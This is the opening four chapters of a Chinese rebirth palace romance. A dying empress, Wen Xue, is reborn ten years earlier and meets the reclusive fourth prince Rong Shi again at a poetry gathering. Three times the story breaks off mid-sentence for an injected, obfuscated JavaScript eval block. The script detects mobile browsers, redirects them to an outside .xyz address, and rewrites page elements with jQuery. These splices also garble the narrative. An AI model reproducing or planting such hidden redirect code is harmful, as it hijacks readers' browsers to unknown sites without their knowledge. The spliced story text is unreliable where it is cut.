《美人即良药(重生)》
1. 第 1 章
她近来越发睡得多了。她总是想,或许某一觉睡下,就再也醒不过来了。
“皇后娘娘,太医来了。”
凤鸾床榻上,素色的纱帐轻掩,温雪没什么气力,侧卧着,一头长发散落在锦绣枕上,她伸出白皙瘦削的胳膊,穿过纱帐搭在床沿。
一旁的小宫女在心底叹了口气,若不是因为身体不好,依照皇后娘娘的姿色,定然是艳压群芳的,如今年纪轻轻,虽容颜未衰,却被这病体折磨成了这副面色苍白而憔悴的样子。
太医小心翼翼地诊着温雪的脉搏,眉头皱起,良久没有说话,屋里静得仿佛同烛台上流下的蜡一般,渐渐凝成了固体。
温雪觉得身体虚得厉害,一时一口气没喘上,猛地咳了几声,小宫女忙不迭地入了纱帐服侍着,“娘娘,您没事罢。”
轻轻推开了小宫女,温雪出声道:“蒋太医,你便实话与本宫说罢,本宫还有几时可活?”
蒋太医惶恐地收回了手,“皇后娘娘……”
一番欲言又止,在场的人都明白了太医的意思。
“蒋太医不必惊慌,本宫不会让陛下责罚与你。”温雪又咳了几声,收回了诊脉的手,和声细语,“本宫的身子本宫自己晓得。”
恐怕是今晚都熬不过去了吧。
也罢,不过是油尽灯枯而已,反正早知会有这么一天的,或许对她来说,这也是一种解脱。
房里没人再敢吱声,只听外边一阵急促的脚步声传来,离床榻越来越近,见了来人,宫女赶紧退到了一旁。
一只修长的手探入青纱帐慢,将其拉了开来。温雪一听脚步声便知道是他了,见了来人,也无惊讶之色,只在心里微微叹了口气,他果然还是来了,只是这恐怕便是最后一面了罢。
容适在床边缓缓坐下,小心翼翼地握起了她的手,看着她憔悴苍白的脸,只觉得呼吸不由得困难起来。
他一闻到声讯,便飞快赶了过来,温雪身体常年不佳,但她极少主动唤太医就诊,此番这般举动,定是出了什么事。
心头不安愈烈,他神情一贯没多大变化,只是眼里的血丝泛着红,喉头发紧,偏过头看向太医:“蒋太医,皇后究竟怎么样了。”
蒋太医手抖了抖,低下了头,不敢答话。
容适就要起身问话,温雪赶紧抓住他的手将他留住。
“太医不过尽了自己的本分,皇上就不要为难人家了。”温雪提了一口气,顿了顿又轻声道,“妾身早已抱恙多日,如今凭一口气吊着罢了。”
“朕不许你这么说!”容适瞪了她一眼。
不说便能活着吗?不过是自欺欺人罢了。温雪半阖双眼,有些疲倦。
这些年,她怨过、恨过,只是最终化为一捧黄土,终是虚无,过去那些纷纷扰扰,也就算不得什么了。
那句话说怎么说来着……人之将死,其言也善。
“皇上,这一次,您就放过臣妾吧。”温雪徐徐地开口,姿态放得很低。
“臣妾会在黄泉路上保佑您做好一国明君,百姓爱戴,早日开枝散叶,切莫孤苦无依……”
她的语调很轻缓,声音很温柔,似乎是说着什么呢哝细语,但对容适来说,却像一刀一刀地剜着他心口的肉。
容适抓着她的手紧了紧,胸腔里似压了一块石头,沉闷得令人喘不过气。
这些年,他为她做了这么多,她还是这样,永远只将他当作皇帝,却从未将他作为她的男人、她的夫君来看待。她对他,从来都没有情。
“温雪,你……”当真是一块捂不热的石头。
容适哽咽了一瞬,忽然很想知道一个答案,“我问你,你是不是……从未爱过我?”他问这句话,或许是自讨没趣,但如若不问,他怕是难以放手。
恍惚间,温雪似乎在他的眼里看出了深情,深情背后,是无尽的难以言说与痛苦酸楚。
可是……怎么可能呢?
他总是冷酷无情、不苟言笑,从不会将内心的想法表露在脸上。他将自己锁在这深宫里,身边的一切都在他的监视下,没有自由,寸步难行,她越是反抗,他就将自己抓得越紧。
这算什么?是有情还是无情?直到现在,她依旧不懂。
想开口说点什么,忽而又一阵痛苦涌上来,温雪止不住地嗑了几声,喉腔内竟是一股血腥味。
硬生生咽下咯出的一口血,艰难道:“皇上……此时说这些,还有什么意义呢?”
容适赶紧以手肘为枕扶住了她,几乎将她圈进自己怀里。
“你若是死了,我便做不好这一国之君,没办法开枝散叶,我就做个昏君,遗臭万年,你就是祸国殃民的妖后……你听清楚了吗?”
温雪嘴角扬了扬,喉间发出一声清脆的笑,“皇上都几岁了,怎么还像个小孩子一样任性,切记这样的胡话,以后就莫要乱说了。”
“朕说的不是胡话,所以你不准睡,听到了没有?”
“好……”
“可臣妾的眼皮好沉啊……”
她的声音几乎就要听不清了。
容适紧紧搂住了她,声线在止不住地颤动,几乎带了哭音:“你只是困了,明天起来便能看见院里的梨花开了……”
“我同你说话,你听着,你还记不记得,咱们初遇时,在诗会上,你在梨花树下,巧笑嫣然……”
温雪晕乎乎地听着,声音在耳边如烟雨缥缈。
他说的场景,是多少年前的事情了呢?她好像早已忘却了。
她颤动着双唇,想骗他一句“记得”……却再也说不出口了。
容适几乎要喘不过气来,像是五脏六腑被人撕裂、掏空一般。终于,他将温雪扣进了怀里,脸贴近她的脖颈间,无声地落着泪。
天启八十年,皇后大丧,举国哀悼。
恍惚间,温雪只觉一阵眩晕,她好像失去了身体的牵引,只能在一旁冷眼旁观,一日复一日,一年复一年。
她看见,容适为她冰冷的尸体穿上了大红的嫁衣,凤冠霞帔,自己也穿上了一身婚服,同她一起躺在棺木里,轻抚她的脸颊,喃喃自语。
“他们都要为你布成素色,其实你穿红色最好看……真想回到大婚那日,你可知,那是我一生最欢喜的日子。”
欢喜?她只当那日,是他彻底将她锁在深宫的开始,原来,他也是有欢喜之情的吗?
她还看见,他一个从不问神佛的人,开始念佛,说什么“来生”。还寻了好些个江湖道士,信了那些个什么“招魂之术”,公然在皇宫里养起了小鬼,可即使在她眼皮子底下施法,也没见他将自己招到他面前。
他绝望地垂下头,絮絮叨叨,也不知是说与谁听:“温雪,我原谅你不爱我了,只要陪着我就好了……你回来,好不好?”
他怎么做出这等蠢事来?真是叫人没眼看呀。
再到后来,他站在雪地里,抬头看雪,眼里空空的,抱着她的排位,轻轻抚摸仿佛充满爱怜,另一只手却拿起长剑,直指自己的心脏。
鲜红色的血液,洒满了白莹莹的雪地,格外刺目。
他说:“温雪,我放过你了,可我放不过我自己。”
她仿佛看见了那个冬天,漫天飞雪,她家破人亡,执拗地在皇城底下跪了两天两夜。
昏倒在雪地里前,他忽然出现,用最温柔的动作为她披上温暖的大氅,却用最冷的语气。
“温雪,自今日起,我不会再放过你。”
温雪想,他还真是言出必行,将自己活成了一个昏君的模样。
她忽然觉得自己的心有些刺痛,眼里好像有泪水想要倾泻而出,虽然她现在,应当是没有心,也没有泪了。但是……为什么会有这般感觉呢?
莫非她,其实也是对他有意的吗?
即使她一直以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453214|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为,他将自己变成一个“囚徒”,拷上了坚不可摧的枷锁,她一辈子都不会爱上这样一个人。
但动心,原来真的只是一瞬间的事。
他的情,远比她想象中的更深入骨髓,不过是以非常人的方式,她从未理解。
怪不得说,凉薄之人,何以长情。
如若真有来生,如若她身体康健,她是愿意以真心相还的。
*
又是一年春暖花开时,庭院深深,异香一片风中来,偷入檐下几许。
温雪自床上醒来,睁开眼,泪水滑落眼角,留下两道泪痕。
“小姐,您怎么还没起呀,大少爷已经快到门口啦。”
咋咋呼呼的声音传入温雪的耳里,温雪愣了愣,迷迷糊糊地顺着声音来源忘去,一个鹅黄色着装的小丫头映入眼帘。
怀……怀秋?她怎么会在这里?
从床上一骨碌爬起来,向四周张望一圈,温雪的心剧烈颤抖起来。
这熟悉的装饰与摆设,是她曾经的房间……
“怀秋,如今是几时?”
温雪一把抓住了怀秋的胳膊,引得怀秋愣愣地眨巴眨巴眼,语气颇有些无奈。
“小姐,奴婢看您当真是睡糊涂了,现在都已经快到巳时了。”
“不是,我问的是,如今是哪年?”
“啊?是,是天启七十年啊。”
温雪松开她的手,心下了然。
果然,这真的不是梦境,她是真的回来了,回到了十年前。
看着熟悉的旧地,一时不知该说什么,有些哽咽。
怀秋微微皱眉,有些担忧地看着自家小姐。“小姐,你没事吧?该不会是昨日摔了一跤……”还伤到脑子了吧。
温雪笑出了声来,伸手轻轻磕了一下怀秋的额头:“说什么呢,小姐我只是做了个过于真实的梦,有些迷糊了。”
“原来如此……”怀秋这才松了口气。
温雪起床打理一番,让怀秋替自己梳理头发,看着镜中的自己,不由得感慨万千。
十几岁的少女,面容清丽,肤如凝脂,明眸皓齿。五官还未彻底张开,她虽谈不上是倾国倾城之姿,但也是出尘脱俗,冰雪聪明,在京都里也是颇负盛名的千金之一。
哎,她都快不记得自己十年前是这般容貌了。
“对了,你方才说哥哥来了?”
怀秋点点头:“是啊,大少爷已经在前厅等候多时了。”
温雪一听,急忙拎着裙摆,按照记忆中的方向,向大厅走去。她已经太久没有见到大哥了,记忆里的哥哥还停留在少年模样。
一入厅门,温雪便唤了一声“哥哥”。温珩看过来,笑了一声:“小祖宗,你可总算起床了。昨日非要闹着同我一起去诗会,今日就不能早早准备一下吗?”
温雪在温珩对桌坐了下来,有些许茫然。诗会?她还非闹着要去?有这事儿吗?
见她一言不发,温珩皱了皱眉,佯装薄怒:“你可别说你忘了。你及笄一年了仍未定亲,来咱们府上求亲的门户都快排到城门口了,若我说,那几个公子都是不错的人选,你还非要去看看那几位公子的相貌……此次太子邀约的可都是男眷,你要去便只能装成我的随行丫鬟……”
“好了,哥哥,我记得呢。”
温雪忙打断她,她这位哥哥哪哪都好,就是话多了些,念起她来就似流水开了闸,止也止不住。
方才他一提起求亲之事,她便想起来了。年少时,她过得顺遂惯了,嫁人这事也不想轻易松口,便挑挑拣拣,但求良婿,直到十八也没将自己嫁出去。
想来那年去了这诗会,也没见到什么令她动心之人。
温雪刚想说她这回便不去诗会凑热闹了,脑子却突然闪过某个人的影子。
“咱们初遇时,在诗会上,那棵梨花树下……”
对了,是他。
2. 第 2 章
百花亭,顾名思义,一点楼亭缀花间。
山花烂漫,似乎都选在了山林之间最好的那处地方开放,才有了绝妙风景。
一到春来,京都里不少富诗词雅兴之人,会于山野亭台间,曲水流觞,百花亭便是绝佳去处。
天启崇文尚墨,皇城里的高官子弟大多自诩文人,最喜这般活动,若是吟不得几句诗,作不了几对赋,便是个无才之辈。
人各赋诗,以叙中怀,或不能者,罚酒三斗,这便是诗会的规矩。
此次诗会乃是太子向各家高官子弟提出的,太子亲邀,这些个公子哥们哪敢不去。
都说太子自诩风流倜傥,喜风月佳人与热闹,好往瓦舍勾栏流连,常安排些什么劳什子的酒会诗会,无论如何,也算得上文人雅趣,大家玩得尽兴便是。
百花亭内,陆陆续续地到了人,相互寒暄交谈。
不久,一辆富丽堂皇的马车踏过山路,行至亭外。车内,两位男子相对而坐,一位身着金色华服,另一位却是青黑色朴素衣袍。
分明是有人的,车里却沉闷得像被压了块大石头,只余下车轱辘不停碾过碎石的倾轧声。
一路上,太子时不时地打量面前这位不大相熟的四弟,面上似笑非笑,有好奇,也有戏谑。他想试探下这位四弟的反应,对方却连半点简单的眼神回应都无——倒也不是全无反应,他紧紧抱着手里的白猫,似乎……格外排斥自己,却又在极力忍耐,尤其是自己将目光落在他身上的时候。
心下了然,他便故意淡淡移开了视线,果然瞥见他手松了松,似乎松了口气。
太子摇了摇手中的折扇,若有所思。
昨日,他去见了面皇奶奶,皇奶奶便将四弟交待给他,嘱咐他多寻机会将四弟带出去,与同龄公子们多多往来。要知道,他这位弟弟常居慈宁宫中,却是比大家闺秀还“深居简出”,就连他身为太子,也极少有机会见到这位弟弟。
传言这位四弟不见人的原因,是因着“痴呆”,在他看来,可并非如此,若真是痴傻,何至于让皇奶奶如此宠爱。说他是痴呆,不如说他是格外孤僻寡言。不过他并不介意,反倒觉得有趣得很。
马车停了下来,太子将扇子一收,就要下车,却见容适依然坐着,一动不动。
看出了他的抗拒,太子眉眼一挑,嘴角一勾:“你若是一辈子不想见人,就待着吧,只是别忘了皇奶奶的嘱托……哎,她老人家年纪大了,身体也不太好,若是气着了,可叫做儿孙的如何是好。”
一边叹息,一边拉开了帘子,离开了沉闷的马车。下车前,他分明见到了容适脸色骤然变冷,看来外人的话,他还是听得进去的,也有将皇奶奶放在心上。
太子从马车上下来,步至亭内,各家弟子纷纷上前拜会。太子见人已经到得差不多了,便也拱手以礼示意。
“今日邀请各位来到百花亭,不过是赏花作诗,聊聊风雅趣事,大可免了平日那些俗礼,随意便好。”
其他人听闻,纷纷应和,赞叹太子附庸风雅。
这时,太子的皇家马车上又走下来一个人,年岁不大,相貌比自诩京都美男子的太子还要俊上三分,只是面色阴冷,眼底似乎装不下人。
再瞧一眼,他手里分明捧着一只猫。
能和太子一起同行,想必身份不一般,只是这人,大家都有些面生。
“鄙人郑匀,敢问这位公子是……”一人露出尊敬的微笑,鞠了一礼,好奇地向容适询问。
容适却和没听到似的,径直走过了那人,全然不加理会。
那人面色有些尴尬,太子温和地笑了笑,向众人解释:“这位是我四弟,他不太会说话,还请大家多多海涵。”
其他人这才恍然大悟,原来这便是传说中的四皇子,怪不得如此古怪。
面上却不显山不露水,恭敬道:“原来是四皇子,如今第一次见,果真是仪表不凡。”
在场的人实则明白的很,这些不过是恭维话,那些早年间的宫闱秘辛早就在坊间传得沸沸扬扬,哪个高官子弟没有听过?四皇子自幼便是个痴傻的,恐怕至今连诗词也不会作。连作诗都不会,来诗会做什么?只是这些嘲讽的话,大伙心知肚明,也不会当着皇家人的面说出来。
可总有人不想这般“趋炎附势”。方才受冷遇的公子拉下了脸,不乐意附和那些作秀之人,面上平静,语气却刻薄:“今日诗会,在座各位应皆是满腹经纶、有备而来吧?这回作诗,不如就由四皇子先起头,让大家学习学习?”
开什么玩笑,一个痴儿,即便身份尊贵,在天启不能读书,不能入朝为官,在皇帝面前又不受青睐,能算得上什么人物?
听闻此言,一众人看好戏般望向容适,就连太子也笑吟吟的,好整以暇地看着他。
见太子也默不作声,那便是表示了默许。太子和四皇子本就不是同源所出,太子怎会真与四皇子交好?对于深谙官场之道的他们来说,站位才是最重要的。于是,众人更加无所顾忌。
空气良久地沉寂,所有的目光落在了容适身上,那些目光里,有嘲讽,有鄙夷,有探究,有漫不经心。他察觉不出那些眼神具体都是什么含义,但他知道,没有一个人对他怀有好意。因为曾经不知有多少人,用这样的眼神看他。
自打他有记忆以来,似乎就在他人的目光中煎熬,幼时是他的母妃,他的父皇,从期待的眼神,到逐渐失望、绝望。更不用说其他人,宫廷规矩,仕女奴才本不该与主子对视,可唯独对他,他们肆意打量,就如此时此刻一般。
容适将搂着猫的胳膊紧了紧,面无表情,唯有双眸里似有暗涛汹涌。此刻,他只想离开,离开这般令他压抑的地方……
*
温珩迈着大步流星向前行,一路不停同身后的温雪抱怨着。
“你瞧你,起这么晚,还要换女婢的衣装,换便换吧,温温吞吞,咱们定是去晚了,届时还有太子在场,让哥哥我多难堪?”
“还有,到了之后,我进去,你便作为我的女婢,乖乖跟在身后,不许胡来,知道了吗?”
温雪提了提自己的素色裙摆,又固定好脸上的面纱,一只耳进,另一只耳便出,心不在焉地无奈应答。
突然,温珩停了下来,温雪赶紧刹住脚步,险些一头撞上去。
见到前方人影绰绰,温珩便立刻停下了仓促的脚步,落稳了步伐。手执纸扇,即便狼狈地姗姗来迟,也要走出温润公子的优雅步伐。
温雪心中暗骂了一句:当真是……人模狗样。
两人抵达百花亭时,诗会才要刚刚开始。见到来人是尚书府上的公子,一群人即刻上前拜会一番,又寒暄几句,才进入正题。
温雪低调地垂着头,跟在温珩身后,见这些个公子哥开始舞文弄墨,根本注意不到女婢随从,她细细地环视了一圈。
在场近二十个人,并没有那个熟悉的身影。容适不在这儿。
所谓的诗会,应当就是此时此地不错。那他会在哪儿?
对了,他说过的,梨树。
温雪又将四周细细打量,此处不愧叫百花亭,百花齐放,争奇斗艳。这该叫她去哪儿找人?
趁着没人注意,她脚底一滑,往别处一溜,躲开了其他人的视线。
此刻正值三月初旬,梨花欲开还闭之时,百花亭花草种类繁多,数量大种类却不易重复,找到梨花树,或许便能找到容适。
照理来说,上一世她应是来过这儿的,可惜年份太长,她已然不记得自己当年来这儿后去过哪儿,究竟有哪里又种着梨花。
该不会,这再来一回,她便遇不上容适了吧?温雪加快了脚步,一路春光灿烂,漫溯至小径深处,奇花异石,繁杂而琐碎,她却无暇欣赏,匆匆而过。走着走着,却发现她连来时的路也找不回来了。
百花亭的范围并不大,更像个夹藏在山脚的小花园,越往外去,便靠近真正的山林。温雪越往深处走,便越像是已经走出了百花亭。这下好了,越
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453215|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走越远,这种地方,怎么会有梨树?
哎,她果真不是个适合寻路的,别说没找到容适,指不定还要将自己搭了进去。温雪叹了口气,累得在原地找了一棵小树,背靠着歇了下来。
摆弄了地上的花花草草没多久,忽然一声猫叫声传入她的耳朵,细细的,从风中飘来。
温雪一个激灵,眸子发亮。她对猫叫格外敏感,刚才若有似无的叫声忽然打开了她记忆的阀门。
这只猫……莫非是“雪球”?
雪球曾是容适府上的白猫,陪伴过她五六年。在被他锁在身边后,几乎见不到人,又走不出去,她心如死灰,干脆将猫当作了寄托与慰藉。那时,或许她对一只猫,也比对他亲近。
于是,虽是容适自己养的猫,他却对猫甚是不喜,每每见她把玩着,便要将猫拎起来,恶狠狠地对她说:“再多看一眼,我便宰了这只小东西。”
她心里自然是怨的,恼怒地质问他,夺走她的自由,现在就连一只猫也见不得了吗?
奇怪的是,雪球死后,她伤心郁结许久,宫里便不动声色地多了几只猫,当她问起,侍女便会告诉她,那是不知何处跑进来的流浪猫。
现在想来,皇宫如此戒备森严,怎么可能一下子多好几只流浪猫?她只见到他的专横独断,却从来见不到他背后无可奈何的温柔。
一个愿意宠猫的男人,本性能有多狠呢?
回忆起来,竟觉得那段压抑的时光竟是有甜味儿的,温雪不由得笑了笑,起身寻着猫叫传来的方向去,若这猫真是雪球,那容适也定当是在附近的。
远远地,一簇梨树枝从矮树灌木间窜出来,在簇拥着的绿色中间显得格外突出。这种偏僻的地方,还当真有梨树。
温雪欣喜地朝着梨树跑去,愈发近了,她才看清一只猫咪正趴在树杈之间。
“雪球?”
重新见到雪球,温雪喜上眉梢,笑了笑,走到树下,抬头轻声唤了一声。
只见雪球的爪子牢牢攀附着枝桠,一身白毛与这洁白无瑕的梨花倒是交相辉映,煞是好看。圆睁的眼珠子乌溜溜地,小心翼翼地探着头朝树下瞧。
似乎是下不来了,这才惊恐地抱着树枝。
“你这小猫好生顽皮,不敢下来,还爬那么高上去?”温雪被这小猫的慌张模样逗乐了,踮起脚尖,想伸手将它够下来,却发现,她的指尖离树枝还差了那么一个手指关节的距离。
便唤道:“雪球,来,蹦到我手里来。”
温雪一边和声细语地“哄骗”它,一边使劲踮脚够它。就在雪球颤颤巍巍地探出爪子,准备往她手上落时,忽然一只手从一旁越出,阻止了她。
转过身去,一个熟悉的身影映入眼帘。
他和温雪记忆中的人,好像是同一个人,又好像有些差异。记忆里的他,棱角分明,五官精致,本该是英俊潇洒的翩翩公子,却因阴冷的气质与狠厉的眼神,总能给她无尽的胁迫感与威慑力。而现在,他身上还未曾带上那股锋利的气息,面容冷淡,反倒带了些青涩的少年气。
是了,这是十年前,他现在还只是个同她年岁相仿的少年呐。
如此猝不及防的相遇,温雪心头忽而就升起一种前世今生的悲凉感,眼眶不由自主有些微热。
见面前这个女子直勾勾地盯着自己看,容适不由自主地握紧了拳,压抑住胸腔内那股不得控制的不安与冲动。
他此生最讨厌的两件事,一是被人盯着打量揣度,二是有人动他的所有物。很不巧,她都撞上了。
温雪正要同他打招呼,就见他恼怒地瞪了她一眼,急切地骂了一句:“滚!”而后飞快地越过她走上前来,抢过树上的猫,搂在了自己怀里,背对着她连一个眼神都不给。
忽然被敌视的温雪怔愣在了原地,反应过来时,内心那股悲凉感瞬间荡然无存,并且气得想笑。
同她提什么初遇,枉她还以为初遇该是多美妙的邂逅,哪想到,如此不、痛、快。
3. 第 3 章
见容适抱了猫就想跑,温雪立刻转过身,拦住了他的去路,有些微恼道:“你这人好没礼貌,我不过是见雪球下不来了,好心帮它,你却如此仇视我。”
被拦在原地的容适憋了半晌,似乎是在想措辞,最终没好气地开口:“它没有名字……这是我的猫。”与你无关。
他的表达不甚清晰,温雪眨眨眼,理解了一会儿。
它不叫雪球吗?唔,似乎是自己喊这名字习惯了,才脱口而出,他或许以为自己是认错猫了。自己的东西,谁都不能碰,他这一点个性倒是和从前一般无二。
无论如何,她是一片好意,理应理直气壮。但要对付他,硬碰硬可不是最好的法子。这么多年了,她算是看出来了,他就是个吃软不吃硬的主,与他怀里那家伙是一个德行,揉一揉捏一捏,便更乖顺些。
这个念头一冒出来,温雪觉得有些好笑。她俏皮地巧笑倩兮,眉目弯弯似月牙:“那就恭喜它了,自今日起,它便有名字了。”
被她的充满笑意的眼神一晃,容适的情绪像是一拳打到了棉花上,顿时有些提不起来。
他有些懊恼,只因他一点也不喜欢这种对外人失去戒心与防备的感觉。
容适绕开了温雪,并不想理会这个奇怪的女子,谁知,他走几步,身后便响起几步脚步声,他不转身,也能明显听出有个人始终跟着他。
这个人,怎么如此不依不饶?
心里烦躁更胜,他刚想开口,却听女子清脆的嗓音传来:“我不是跟着你,我只是迷路了。”容适无言以对,只得继续无视了她往前走。
忽然,身后传来一声痛呼,而后没了声息。他下意识地转过身一看,温雪正双手压着脚踝,坐在地上,双眉紧蹙,虽然遮着面纱看不出表情,却能猜出她此时正咬着唇,疼得说不出话来,半晌,才艰难开口:“我崴到脚了……”
容适板着脸冷眼看她,转身就走。温雪忙叫住他:“我受伤了还迷路了你要将我一个人丢在这儿吗?”
她的声音里带了急切,又有些示弱的意味,令容适脚步一顿。但真的只是一顿,下一秒,他就毫不犹豫提起脚,像是坚定了决心,比方才走得还快上一些。直到他的背影消失在这片林子里,温雪才垂下头,揉了揉自己的脚。
不管是十年前还是十年后,都是这副冷漠的德行。温雪心底冷哼一声,她就不信他不回来。
其实这片林子离百花亭并没有多远,没走多久,容适便看见诗会的那群人,正吟诗作对,谈笑风生,若远观,当真是意蕴十足,趣味盎然。
容适逐渐放缓步伐,停在了原地。他原本只想找个无人之处一个人待着,此刻却因为一个莫名的女子,跑回了原地?
自小,他便知道自己不正常,他无法像一个正常人一样与人交流,每当别人向他投来目光,他便浑身不自在。后来他逐渐感知到,那是只有看见异类时,才会露出的眼神。为了自我保护,他学会了将自己关在一堵墙内,墙内的,是他的所有物,是安全的存在,若是有人想触碰这层屏障,他便会不由自主地失控。
方才,她要碰他的猫,甚至要接近他,对他来说,她分明是越界了,可是……除开最开始那一瞬恐慌,她并没有他想象中那般令人厌恶。
为什么?是因为她的眼神太过纯粹吗?这好像,第一次遇上这样的人,他顿时有些茫然……
*
林子里,温雪将腿随意搁在草地上,手中拿着一朵树上掉下的梨花,一边扯花瓣,一边数数。
又数完一朵,百无聊赖地将手里的花蕊一丢。她都摧残了几朵花了,怎么还未见容适回来,难不成当真将她一个人丢在这儿了?想了想,她又摇了摇头否定了这个可能性。若是他真敢将她一个人丢在这,她就,她就……除了生气,好像也不能作甚。
温雪悲伤地叹口气,安慰自己,此时的容适还是个半大的少年,若他是她记忆里那般脾气,她指不定就真的不想理会他了。
忽然,静谧的林子里,冷不丁响起几声脚步声,由远及近,温雪立马丢掉了花,捧着脚踝,哭丧起了脸。这番表情变化,堪比戏剧里的变脸。
温雪正埋着头,一双穿着黑靴的脚出现在她眼前,可怜兮兮地抬头一看,果然是容适。她心里得意,脸上却无辜:“你怎么回来了?”
手上的猫也不见了。
温雪眨巴眨巴眼,疑惑地看着他,眼神清凌凌的。容适避开她的眼神,蹲下身子,就要看她的腿。
“啊”地一声叫,温雪赶紧按住了腿,“碰不得碰不得,疼得很。”她叫得惨,可实际上,她的腿压根儿就没受那么重的伤,崴了一下,也就是疼那么一会儿,至于赖在地上不走……还是在堵他现在对自己的态度。现在他要看伤,自然看不得,万一看了穿帮了可如何是好。
容适抬头看她,也有些糟心,动弹不得的伤,可怎么办?
似是看透了他的想法,温雪两手一张,将小女儿家的姿态做了十足,俏生生道:“公子,你背我走吧。”
容适:“……”他整个人一怔,不敢相信她说了什么。若是要背起她,必定要有肢体接触,而他几乎无法容忍他人的靠近。
想也没想,容适在她身旁坐了下来,且离她足有一丈远,毫无要将她带出去的想法。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453216|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
既然把人丢下不人道,那在原地陪她总可以了吧?
哪知,温雪打算继续挑战一番他的下限,声色更加悲戚:“男女授受不亲,公子不愿背我,我可以理解。可我受了这么重的伤,恐怕回去后医治得晚些,便要废了。”
“到时想必不会有男子愿意娶我,我只能一个人拖着一条跛脚孤苦无依……”
“罢了,都是我命不好,怪不得旁人……”
都说漂亮的女子惯会骗人,温雪将委屈的姿态做了个十足。
可她说这些话,落在容适耳朵里,简直就和麻雀一般,叽叽喳喳。只见容适的脸色越来越沉,终于忍不住,起身就走。他心想,自己就不该抽了风似的回来。
身后,温雪又是一阵痛呼,在他的冷酷前显得格外楚楚可怜。容适顿了顿,停留在了原地。
生平第一次,身边出现这般无赖的女子,也是生平第一次,他感受到了一种骑虎难下的无奈。
早知一个人躲进林子里会遇上这样的事,他倒不如在诗会上受折磨得好。
容适转身返回来,迅速半蹲下身子,像是一鼓作气,不给自己犹豫的时间。温雪胳膊搭了上去,面纱下的嘴角暗暗扬起一丝微小的弧度,得逞地笑了。
她伏在他背后,低声道:“公子,你当真是个善良的大好人。”她明显地感觉到,容适浑身僵硬,似乎是忍受了极大的不适。
可顶着这样的不适,依然没能拒绝自己,温雪满意地点了点头,如此才是她想象中该有的初遇才是。
女子的体态总是软的,温雪身量不高,身材又纤细,容适只觉得背上似乎并没有多少分量,便逐渐放松下来。
“公子,你叫什么名字?”
“公子,你将我背出了这片地方,我想感激您一番,您看我该如何道谢?”
“……”
温雪问了他几个问题,他却始终一句话也不说,她便干脆不问了,省得自讨没趣。
到了林外,便远远看到了百花亭的人,似乎正在撤着酒席,互相道别。
这是要结束了?
温雪赶忙从容适背上爬下来,她还要与哥哥一块儿回去呢,若是被哥哥发现了自己又瞎跑,定是又要念她一番。
着急八慌地,温雪说了句“我得走了”,落地就跑,全然忘了自己还是个“腿脚不便”的。
容适愣愣地看着她灵活地绕着道往前跑,又突然停下,转过身来对他喊了一句:“对了,我还得道谢呢,咱们明日午时这里见!你必须来啊!”说完,便没了影。
半晌,容适反应过来,怒上心头。她,她的脚根本就没事!她就是个骗子!
4. 第 4 章
慈宁宫,雍容华贵的金纱帘帐,珍稀红木榻上,放置着绣着精巧海棠花的枕垫。
妆容精致的老妇人正侧躺在木榻上,以手撑着额,双眼微合,她虽已年近花甲,却因保养得好,脸上还只是有些淡淡的皱纹。
一位女婢轻手轻脚地上前来,将木榻边的案台上熏香重新换了一批。
“这个味道倒是不错,之前怎么从未闻到过。”老妇人满意地开口。
女婢行了一礼,“回太后,这是从西夏新进来的香料,成分特别得很,据说有安神定心的功效。”
“不错,异域倒是也有好东西。”
女婢退下后,一位侍卫模样的男子悄无声息地出现在殿外。
他走上前,单膝扣地,向榻上之人抱拳示意:“太后,四皇子回来了。”
闻言,太后睁开了眼:“子安今日表现如何?”
“还是老样子,见人便躲起来了。”
太后失落地叹了口气,这么多年了,这个孩子虽然已经比最开始时改变了许多,但依然无法像个常人一般与人交流。
这样的孩子出生在皇家,定然要被当成耻辱,若是未来没有了她,他如何生存得下去?
“不过……”陆风迟疑着道,“下属倒是见到,四皇子与一位女子似乎私交甚密……”
太后微眯的双眼忽然亮了亮,“你同哀家详细说说。”
陆风将在林中看到的容适背起温雪的事情大致描述了一番,太后听完展颜而笑。
容适是她自小照看大的,他什么脾性她是清楚的,能做出这样的举动已然是前所未有,必定是对方真的能让他放下戒备,他才愿意这般。
终于听到一件令自己舒心的事了,太后伸手揉了揉太阳穴,唇角微扬:“过段日子哀家便去大铭寺礼佛,到时你便追随子安行事,这几日暂且依旧看着他,有什么情况便同哀家汇报。”
“是。”
另一边,容适回到宫里,便将自己一个人关在了房内。同往日一般,翻开了一本书翻阅,可这次,他却什么也看不进去。
自诗会回宫之后他便始终一言不发,满脑子都是一个念头:他相信了那女子,可那女子竟是在耍他!她为什么要如此作为?是见他好欺负,还是同别人一样当他是个傻子?
